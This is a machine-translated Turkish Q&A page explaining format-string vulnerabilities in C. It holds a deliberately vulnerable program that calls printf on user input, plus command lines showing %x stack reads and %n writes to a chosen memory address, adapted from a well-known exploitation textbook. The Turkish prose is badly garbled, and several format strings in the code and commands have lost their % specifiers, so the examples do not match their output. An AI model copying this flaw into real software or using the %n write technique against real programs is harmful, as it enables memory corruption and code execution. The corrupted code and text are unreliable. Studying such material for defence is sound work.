SORU
18 EYLÜL 2011, Pazar


Nasıl bir Format-String açığı olabilir mi?

Kod güvenlik açıkları hakkında okuyordum ve bu genelinde geldiFormat String Güvenlik Açığı.

Wikipedia diyor ki:

Biçim dizesi hataları bir programcı için istediğinde en sık görünür dize içeren bir kullanıcı sağlanan veri yazdırma. Programcı olabilir yanlışlıkla printf(buffer) yerine printf("%s", buffer) s. yazmak Bu ilk versiyonu biçiminde bir dize olarak yorumlar tampon ve herhangi ayrıştırır içerebilir biçimlendirme talimatları. İkinci versiyonu sadece parmak izi, programcının olarak ekrana bir dize.

Printf(buffer) ile sorun sürümü var, ama ben hala bu güvenlik açığı, saldırganın zararlı kod çalıştırmak için kullanılabilir nasıl alamadım. Birisi bu güvenlik açığı nasıl söyleyebiliristismarbir örnek?

CEVAP
18 EYLÜL 2011, Pazar


Birçok yönden format string güvenlik açığı istismar etmek mümkün, doğrudan ya da dolaylı olabilir. Hadi bir örnek olarak aşağıdaki (çok nadir neyse ki konuyla ilgili hiçbir OS korumaları, varsayarak):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0xx = %d [0xx]", &some_value, some_value, some_value);
    return(0);
}

Bu güvenlik açığı olarak değişken bağımsız değişken işlevleri davranışları. Değişken sayıda parametre işleme uygulayan bir fonksiyon yığını, aslında onları okumak için. Biz printf() yapacak bir biçim dize iki tamsayı yığını bekliyoruz belirtin ve tek bir parametre sağlarsak, ikinci bir yığın başka bir şey olmak zorunda olacak. Ek olarak, eğer biçim dizesi üzerinde kontrol varsa, en temel iki temel öğeler olabilir:


Keyfi bellek adreslerinden okuma

[DÜZENLE]ÖNEMLİ:Bu konuda bazı varsayımlar çerçeve düzeni burada yığın yapıyorum. Eğer açığın arkasındaki temel dayanak noktası anlıyorsan onları yok sayabilirsiniz, ve işletim sistemi, platform, program ve yapılandırma neyse arasında değişir.

Mümkün %s biçim parametre verilerini okumak için kullanın. Bu yığın dışı bir şey okumak için kullanabilirsiniz böylece printf(text), özgün bir biçim dizesi veri okuyabilirsiniz

./vulnerable AAAAx.x.x.x
This is how you print correctly:
AAAAx.x.x.x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Keyfi bellek adresleri yazılı

%n biçim belirteci yazmak için rastgele bir adres (neredeyse) için kullanabilirsiniz. Yine, savunmasız programımız yukarıda varsayalım, ve yukarıda görüldüğü gibi 0x08049794, bulunan some_value, değerini değiştirmeyi deneyelim bakalım:

./vulnerable $(printf "\x94\x97\x04\x08")x.x.x.%n
This is how you print correctly:
??x.x.x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

Bayt %n belirtici karşılaşıldı önce yazıldı sayısı (man printf) üzerine some_value ettik. Biçim dizesi kendisi, ya da alan genişliği bu değeri kontrol etmek için kullanabiliriz:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

Denemek için imkan ve hileler çok var (doğrudan parametre erişimi, geniş bir alan genişliği saran mümkün kılan, kendi ilkel Binası), ve bu sadece buzdağının görünen kısmı dokunur. Fmt dize güvenlik açıkları hakkında daha fazla makale (Phrack biraz gelişmiş olabilir, ancak çoğunlukla mükemmel olanlar da var) okuma veya konu dokunur bir kitap öneririm.


Yasal Uyarı: Bu örnek alınan [Özet olsa da] kitapHack: sömürü sanatı (2. ed)Jon Erickson tarafından.

Bunu Paylaş:
  • Google+
  • E-Posta
Etiketler:

YORUMLAR

SPONSOR VİDEO

Rastgele Yazarlar

  • Codecourse

    Codecourse

    3 ŞUBAT 2009
  • Ryan Ha

    Ryan Ha

    9 NİSAN 2006
  • TechBalance

    TechBalance

    12 HAZİRAN 2011